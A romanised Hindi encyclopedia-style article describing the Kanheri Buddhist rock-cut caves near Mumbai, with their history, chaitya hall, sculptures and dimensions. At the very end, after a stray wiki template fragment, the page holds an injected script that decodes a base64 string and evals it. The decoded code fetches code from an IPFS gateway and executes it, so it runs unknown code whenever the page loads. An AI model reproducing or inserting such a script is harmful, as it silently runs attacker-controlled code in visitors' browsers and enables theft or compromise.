कन्हेरी
kanheri pashchimi bharat ke dari mandiroan mean se ek hai. kanheri ka yah mandir mumbee se lagabhag 25 mil door salaset dvip par avasthit parvat ki chattan katakar banaya gaya bauddhoan ka chaity hai.
sankshipt parichay
kanheri uttar koankan, maharashtr mean sthit hai. pashchim relave ke borivali steshan se ek mil par krishnagiri paha di mean tin prachin guha mandir hai, jinaka sambandh shivopasana se jan p data hai. ek gufa mean anek moortiyaan aj bhi dekhi ja sakati haian. borivali steshan se paanch mil par kanheri hai, jo krishnagiri paha di ka ek bhag hai. 'kanheri' shabd krishnagiri ka apabhransh hai. yahaan 9vian shati ee. ki bani huee lagabhag 109 gufaean haian, par ullekhaniy keval ek hi hai jo kali ke chaity ke anuroop banaee gee hai. is chaityashala mean bauddh mahayan sampraday ki suandar moortikari hai. gufa ki bhittiyoan par ajanta ke saman hi chitrakari bhi thi, jo ab prayah nasht ho chuki hai.[1]
chaity grih
kanheri ka chaity grih apani kee vishishtataoan ke karan prasiddh hai. hinayan sanpraday ka yah chaity mandir aandhr satta ke pray: aantim yugoan mean doosari shati ee. ke aant mean nirmit hua tha. yah bana pray: karle ki paranpara mean hi haian, usi ka sa isaka chaity hal hai, usi ke se stanbhoan par yugal akritiyaan isamean bhi baithaee gee haian. donoan mean atanr matr itana hai ki kanheri ki kala utani pranavan aur shalin nahian, jitani karle ki hai.[2]
karle ki gufa se isaki gufa kuchh chhoti hai. lagabhag ek tihaee chhoti yah gufa apoorn bhi rah gee hai. isaki bahari divaroan par jo mahatma buddh ki moortiyaan bani haian, unase spasht hai ki is par mahayan sanpraday ka bhi bad mean prabhav p da aur hinayan upasana ke kuchh kal bad bauddh bhikshuoan ka sanbandh isase toot gaya tha, jo gupt kal ate-ate phir ju d gaya. yadyapi yah naya sanbandh mahayan upasana ko apane sath lie aya, jo buddh aur bodhisatvoan ki moortiyoan se prabhavit hai. in moortiyoan mean buddh ki ek moorti 25 phut ooanchi hai.
sanrachana
kanheri ke chaity mandir ki sanrachana pray: is prakar hai-
- chaturdik phaili van sanpada ke bich bahati jaladharaean, jinake oopar uthati huee parvat ki divar aur usamean kati kanheri ki gahari lanbi gufa.
- bahar ek praangan nichi divar se ghira hai, jis par moortiyaan bani haian aur jisase hokar ek sopan marg chaity dvar tak jata hai.
- donoan or dvarapal nirmit haian aur chattani divar se nikali stanbhoan ki paranpara banati chali gee hai.
- kuchh stanbh alankrit bhi haian. stanbhoan ki sankhya 34 hai aur samoochi gufa ki lanbaee 86 phut, chau daee 40 phut aur ooanchaee 50 phut hai.
- stanbhoan ke oopar ki nar-nari-moortiyoan ko kuchh logoan ne nirmata danpati hone ka bhi anuman kiya hai, jo sanbhavat: anuman matr hi hai. koee praman nahian, jisase inako is chaity ka nirmata mana jae.
- kanheri ki ganana pashchimi bharat ke pradhan bauddh dari mandiroan mean ki jati hai aur usaka vastu apane dvar, khi dakiyoan tatha meharaboan ke sath karle ki shilp paranpara ka anukaran karata hai.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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